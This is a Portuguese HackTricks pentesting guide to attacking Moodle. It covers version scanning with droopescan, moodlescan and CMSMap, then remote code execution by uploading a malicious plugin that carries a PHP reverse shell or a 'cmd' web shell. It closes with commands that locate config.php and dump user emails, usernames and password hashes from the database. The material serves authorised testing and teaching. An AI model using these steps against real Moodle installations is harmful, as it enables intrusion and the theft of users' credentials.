# Moodle {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} {% endhint %}
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Scans Automáticos ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - http://moodle.schooled.htb/moodle/README.txt Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** Você precisa ter a função de **gerente** e você **pode instalar plugins** na aba **"Administração do site"**\*\*:\*\* ![](<../../.gitbook/assets/image (630).png>) Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_) {% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %} Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obter um shell PHP regular com o parâmetro "cmd". Para acessar e lançar o plugin malicioso, você precisa acessar: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Encontrar credenciais do banco de dados ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Extrair Credenciais do banco de dados ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ```
**Dica de bug bounty**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} {% endhint %}